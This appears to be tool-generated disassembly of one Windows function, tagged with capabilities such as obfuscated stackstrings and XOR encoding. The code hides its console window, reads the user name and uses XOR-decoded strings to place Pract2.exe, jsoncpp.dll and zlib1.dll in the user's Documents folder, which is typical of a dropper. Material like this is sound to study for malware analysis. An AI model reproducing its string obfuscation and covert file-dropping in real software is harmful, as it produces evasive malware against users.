Function at 0x1400014b0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x330
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0xf4], 0x101
lea rdx, [rbp + 0xf4]
lea rcx, [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rbp - 0x40], 5
mov dword [rsp + 0x40], 0x7b
mov eax, dword [rsp + 0x40]
xor al, 0x64
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
inc al
xor al, 0x6f
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor al, 0x63
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor al, 0x75
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, 4
xor al, 0x6d
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor al, 0x65
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor al, 0x6e
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor al, 0x74
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor al, 0x69
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor al, 0x6b
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor al, 0x2e
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor al, 0x64
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor al, 0x6f
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor al, 0x63
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor al, 0x78
mov byte [rsp + 0x52], al
xor eax, eax
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x44]
mov edx, r13d
nop dword [rax]
movzx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x44], cl
inc rdx
cmp rdx, 0xf
jb 0x1400015f0
mov byte [rsp + 0x53], r13b
lea rax, [rsp + 0x44]
mov qword [rbp + 0x88], rax
mov qword [rsp + 0x60], r13
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rax, 0x187
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x58], 0x187
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], r13
mov ecx, 0x10
call fcn.14000b6a4
mov qword [rax + 8], r13
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
mov qword [rax], rcx
mov word [rbp + 0xd8], r13w
mov qword [rbp + 0xde], r13
mov qword [rbp + 0xe6], r13
xor eax, eax
mov word [rbp + 0xdb], ax
mov byte [rbp + 0xdd], al
mov word [rbp + 0xde], ax
mov byte [rbp + 0xe0], al
mov word [rbp + 0xe1], ax
mov byte [rbp + 0xe3], al
mov word [rbp + 0xe4], ax
mov byte [rbp + 0xe6], al
mov word [rbp + 0xe7], ax
mov byte [rbp + 0xe9], al
mov word [rbp + 0xea], ax
mov byte [rbp + 0xec], al
lea rax, [rbp + 0xa4]
mov qword [rsp + 0x70], rax
mov rdi, 0xffffffffffffffff
mov dword [rsp + 0x78], edi
xor eax, eax
mov byte [rbp + 0xf0], al
mov rax, qword [rsp + 0x70]
mov dword [rax], r13d
mov eax, dword [rbp + 0xa4]
mov dword [rbp + 0xd4], eax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x90]
call fcn.140003610
nop
lea rcx, [rbp + 0xa8]
call fcn.140003ab0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
lea rax, [rbp + 0x100]
mov rbx, rdi
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001780
movabs r14, 0x7fffffffffffffff
cmp rbx, r14
ja 0x140002dc9
mov eax, 0x16
movabs r12, 0x8000000000000000
cmp rbx, 0xf
ja 0x1400017da
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], 0xf
mov r8, rbx
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x38]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x38], 0
jmp 0x140001865
mov rsi, rbx
or rsi, 0xf
cmp rsi, r14
jbe 0x14000180d
mov rsi, r14
lea rax, [r12 + 0x27]
mov rcx, rax
call fcn.14000b6a4
test rax, rax
je 0x140001c42
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140001842
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140001822
mov r15, r13
jmp 0x140001842
cmp rcx, 0x1000
jb 0x14000183a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002dab
jmp 0x1400017ee
call fcn.14000b6a4
mov r15, rax
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rsi
mov r8, rbx
lea rdx, [rbp + 0x100]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbx], 0
mov r8, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
sub rax, r8
lea rdx, [0x14000d421]
mov r15d, 9
lea rsi, str.C:Users_
cmp rax, r15
jb 0x140001907
lea rax, [r8 + 9]
mov qword [rbp - 0x28], rax
lea rbx, [rbp - 0x38]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x38]
cmp rdx, rbx
jbe 0x1400018c1
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x1400018c1
cmp rbx, rsi
ja 0x1400018b9
mov r12, r13
jmp 0x1400018c4
mov r12, rbx
sub r12, rsi
jmp 0x1400018c4
mov r12, r15
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r12]
mov r8, r15
sub r8, r12
lea rdx, [rsi + 9]
add rdx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x38]
movabs r12, 0x8000000000000000
jmp 0x14000191d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
mov rdx, r15
lea rcx, [rbp - 0x38]
call fcn.140003c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x40], 6
mov eax, dword [rsp + 0x40]
xor al, 0x5c
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
inc al
xor al, 0x44
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor al, 0x6f
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor al, 0x63
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, 4
xor al, 0x75
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor al, 0x6d
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor al, 0x65
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor al, 0x6e
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor al, 0x74
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor al, 0x73
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor al, 0x5c
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor al, 0x50
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor al, 0x72
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor al, 0x61
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor al, 0x63
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor al, 0x74
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor al, 0x32
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor al, 0x2e
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x12
xor al, 0x65
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x40]
add al, 0x13
xor al, 0x78
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x40]
add al, 0x14
xor al, 0x65
mov byte [rsp + 0x58], al
xor eax, eax
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x44]
mov rdx, r13
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x44], cl
inc rdx
cmp rdx, 0x15
jb 0x140001a60
mov byte [rsp + 0x59], 0
lea r8, [rsp + 0x44]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.1400030d0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140001a9c
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140002e80
mov rbx, rax
mov dword [rsp + 0x60], 0x43
mov ecx, dword [rsp + 0x60]
xor cl, 0x50
mov byte [rsp + 0x64], cl
mov ecx, dword [rsp + 0x60]
inc cl
xor cl, 0x72
mov byte [rsp + 0x65], cl
mov eax, dword [rsp + 0x60]
add al, 2
xor al, 0x61
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x60]
add al, 3
xor al, 0x63
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x60]
add al, 4
xor al, 0x74
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x60]
add al, 5
xor al, 0x32
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x60]
add al, 6
xor al, 0x2e
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x60]
add al, 7
xor al, 0x65
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x60]
add al, 8
xor al, 0x78
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x60]
add al, 9
xor al, 0x65
mov byte [rsp + 0x6d], al
xor eax, eax
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x64]
mov rdx, r13
nop dword [rax]
movzx ecx, byte [rsp + rdx + 0x64]
mov eax, dword [rsp + 0x60]
add al, dl
xor cl, al
mov byte [rsp + rdx + 0x64], cl
inc rdx
cmp rdx, 0xa
jb 0x140001b40
mov byte [rsp + 0x6e], 0
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x48]
call fcn.140002e80
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400012e0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140001bb8
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqa xmm6, xmmword [0x14000d610]
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140001c07
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001c4e
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 0x28], xmm6
mov byte [rbp - 0x38], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea rax, [rbp + 0x100]
mov rbx, rdi
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001c80
cmp rbx, r14
ja 0x140002dcf
cmp rbx, 0xf
ja 0x140001cc1
mov qword [rbp - 8], rbx
mov qword [rbp], 0xf
mov r8, rbx
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x18], 0
jmp 0x140001d56
mov r13, rbx
or r13, 0xf
cmp r13, r14
jbe 0x140001cf5
mov r13, r14
lea rax, [r12 + 0x27]
mov rcx, rax
call fcn.14000b6a4
test rax, rax
je 0x14000212a
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x140001d30
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x140001d10
xor r12d, r12d
jmp 0x140001d30
cmp rcx, 0x1000
jb 0x140001d28
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002db1
jmp 0x140001cd5
call fcn.14000b6a4
mov r12, rax
mov qword [rbp - 0x18], r12
mov qword [rbp - 8], rbx
mov qword [rbp], r13
mov r8, rbx
lea rdx, [rbp + 0x100]
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + rbx], 0
xor r13d, r13d
mov r8, qword [rbp - 8]
mov rcx, qword [rbp]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x140001de3
lea rax, [r8 + 9]
mov qword [rbp - 8], rax
lea rbx, [rbp - 0x18]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x18]
lea rax, [0x14000d421]
cmp rax, rbx
jbe 0x140001da6
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140001da6
cmp rbx, rsi
ja 0x140001d9e
mov r12, r13
jmp 0x140001da9
mov r12, rbx
sub r12, rsi
jmp 0x140001da9
mov r12, r15
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r12]
mov r8, r15
sub r8, r12
lea rdx, [r12 + 9]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x18]
jmp 0x140001df9
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
mov rdx, r15
lea rcx, [rbp - 0x18]
call fcn.140003c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x40], 0x22
mov eax, dword [rsp + 0x40]
xor al, 0x5c
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
inc al
xor al, 0x44
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor al, 0x6f
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor al, 0x63
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, 4
xor al, 0x75
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor al, 0x6d
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor al, 0x65
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor al, 0x6e
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor al, 0x74
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor al, 0x73
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor al, 0x5c
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor al, 0x6a
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor al, 0x73
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor al, 0x6f
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor al, 0x6e
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor al, 0x63
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor al, 0x70
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor al, 0x70
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x12
xor al, 0x2e
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x40]
add al, 0x13
xor al, 0x64
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x40]
add al, 0x14
xor al, 0x6c
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x40]
add al, 0x15
xor al, 0x6c
mov byte [rsp + 0x59], al
xor eax, eax
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x44]
mov rdx, r13
movzx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x44], cl
inc rdx
cmp rdx, 0x16
jb 0x140001f42
mov byte [rsp + 0x5a], 0
lea r8, [rsp + 0x44]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.1400030d0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140001f7e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140002e80
mov rbx, rax
mov dword [rsp + 0x60], 0x60
mov ecx, dword [rsp + 0x60]
xor cl, 0x6a
mov byte [rsp + 0x64], cl
mov ecx, dword [rsp + 0x60]
inc cl
xor cl, 0x73
mov byte [rsp + 0x65], cl
mov eax, dword [rsp + 0x60]
add al, 2
xor al, 0x6f
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x60]
add al, 3
xor al, 0x6e
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x60]
add al, 4
xor al, 0x63
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x60]
add al, 5
xor al, 0x70
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x60]
add al, 6
xor al, 0x70
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x60]
add al, 7
xor al, 0x2e
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x60]
add al, 8
xor al, 0x64
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x60]
add al, 9
xor al, 0x6c
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x60]
add al, 0xa
xor al, 0x6c
mov byte [rsp + 0x6e], al
xor eax, eax
mov byte [rsp + 0x6f], al
movzx eax, byte [rsp + 0x64]
mov rdx, r13
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x64]
mov ecx, dword [rsp + 0x60]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x64], cl
inc rdx
cmp rdx, 0xb
jb 0x140002030
mov byte [rsp + 0x6f], 0
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x48]
call fcn.140002e80
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400012e0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400020a8
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400020ef
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140002136
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002131
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002131
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 8], xmm6
mov byte [rbp - 0x18], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
lea rax, [rbp + 0x100]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002161
cmp rbx, r14
ja 0x140002dd5
cmp rbx, 0xf
ja 0x1400021a2
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], 0xf
mov r8, rbx
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 8], 0
jmp 0x140002240
mov r13, rbx
or r13, 0xf
cmp r13, r14
jbe 0x1400021df
mov r13, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000b6a4
test rax, rax
je 0x14000255a
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x14000221a
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x1400021fa
xor r12d, r12d
jmp 0x14000221a
cmp rcx, 0x1000
jb 0x140002212
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002db7
jmp 0x1400021bf
call fcn.14000b6a4
mov r12, rax
mov qword [rbp + 8], r12
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], r13
mov r8, rbx
lea rdx, [rbp + 0x100]
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + rbx], 0
xor r13d, r13d
mov r8, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x1400022cd
lea rax, [r8 + 9]
mov qword [rbp + 0x18], rax
lea rbx, [rbp + 8]
cmp rcx, 0xf
cmova rbx, qword [rbp + 8]
lea rax, [0x14000d421]
cmp rax, rbx
jbe 0x140002290
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140002290
cmp rbx, rsi
ja 0x140002288
mov r12, r13
jmp 0x140002293
mov r12, rbx
sub r12, rsi
jmp 0x140002293
mov r12, r15
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r12]
mov r8, r15
sub r8, r12
lea rdx, [r12 + 9]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 8]
jmp 0x1400022e3
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
mov rdx, r15
lea rcx, [rbp + 8]
call fcn.140003c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x40], 0x45
mov byte [rsp + 0x44], 0x19
mov byte [rsp + 0x45], 1
mov byte [rsp + 0x46], 0x2a
mov byte [rsp + 0x47], 0x26
mov byte [rsp + 0x48], 0x30
mov byte [rsp + 0x49], 0x28
mov byte [rsp + 0x4a], 0x20
mov byte [rsp + 0x4b], 0x2b
mov byte [rsp + 0x4c], 0x31
mov byte [rsp + 0x4d], 0x36
mov byte [rsp + 0x4e], 0x19
mov byte [rsp + 0x4f], 0x3f
mov byte [rsp + 0x50], 0x29
mov byte [rsp + 0x51], 0x2c
mov byte [rsp + 0x52], 0x27
mov byte [rsp + 0x53], 0x74
mov byte [rsp + 0x54], 0x6b
mov byte [rsp + 0x55], 0x21
mov byte [rsp + 0x56], 0x29
mov byte [rsp + 0x57], 0x29
xor eax, eax
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x44]
mov rdx, r13
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
xor cl, al
mov byte [rsp + rdx + 0x44], cl
inc rdx
cmp rdx, 0x14
jb 0x140002390
mov byte [rsp + 0x58], 0
lea r8, [rsp + 0x44]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.1400030d0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400023ca
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140002e80
mov rbx, rax
mov dword [rsp + 0x60], 0x7e
mov ecx, dword [rsp + 0x60]
xor cl, 0x7a
mov byte [rsp + 0x64], cl
mov ecx, dword [rsp + 0x60]
inc cl
xor cl, 0x6c
mov byte [rsp + 0x65], cl
mov eax, dword [rsp + 0x60]
add al, 2
xor al, 0x69
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x60]
add al, 3
xor al, 0x62
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x60]
add al, 4
xor al, 0x31
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x60]
add al, 5
xor al, 0x2e
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x60]
add al, 6
xor al, 0x64
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x60]
add al, 7
xor al, 0x6c
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x60]
add al, 8
xor al, 0x6c
mov byte [rsp + 0x6c], al
xor eax, eax
mov byte [rsp + 0x6d], al
movzx eax, byte [rsp + 0x64]
mov rdx, r13
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x64]
mov ecx, dword [rsp + 0x60]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x64], cl
inc rdx
cmp rdx, 9
jb 0x140002460
mov byte [rsp + 0x6d], 0
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x48]
call fcn.140002e80
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400012e0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400024d8
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
